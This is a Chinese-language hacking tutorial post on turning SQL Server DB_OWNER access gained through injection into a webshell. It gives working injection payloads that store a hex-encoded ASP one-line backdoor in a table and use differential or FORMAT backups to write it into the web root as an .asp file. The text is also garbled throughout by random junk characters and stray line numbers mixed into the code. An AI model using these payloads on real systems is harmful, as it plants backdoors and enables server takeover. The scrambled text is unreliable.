DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

( B& t; y' y. ]4 b( j1 s: \减少备份文件大小，得到可执行的webshell成功率提高不少
3 l0 Z; h' \% E5 I* C/ k一利用差异备份
加一个参数WITH DIFFERENTIAL
3 f* H. g- F: K1 Z
1
* f+ G, R4 n: p9 q; G8 U3 _/ V2
3
4
% |7 @+ V" |7 n# u; Z- h declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
" b. ]$ D- [: v1 @0 r2 H' rinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
# R: c* z1 G0 u5 T5 X; n- ~
二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
5 e/ i; A( D( d- l& L. s. o
0 t2 S& L" n$ D4 G, s+ x, }  p1
% u* L1 y/ @! V' u% H" [, X2
9 N% l- {0 g8 N3
4 ?: C; ?: J; x" G  x4
. x% @( y& r- B5 U- a. ^2 u! @ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
$ V" z1 S- ?" w* a, u$ yinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
& W3 |4 p  W, C, q' {+ r. Adeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
5 p" J1 \' p+ l: k4 a4 R- f7 U6 G4 [
总的来说就是那么简单几句,下面以备份数据库model为例子
  O" M" }% l% {1 R! F5 u% c+ X3 \6 x$ _1
7 Q: G9 t5 ^* P! C
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2
' G$ Z: m1 e/ @2 P
- q* h# D* P7 m1
* L. w7 Z: @0 _9 ~ id=1;backup database model to disk='你的路径‘ with differential,format;--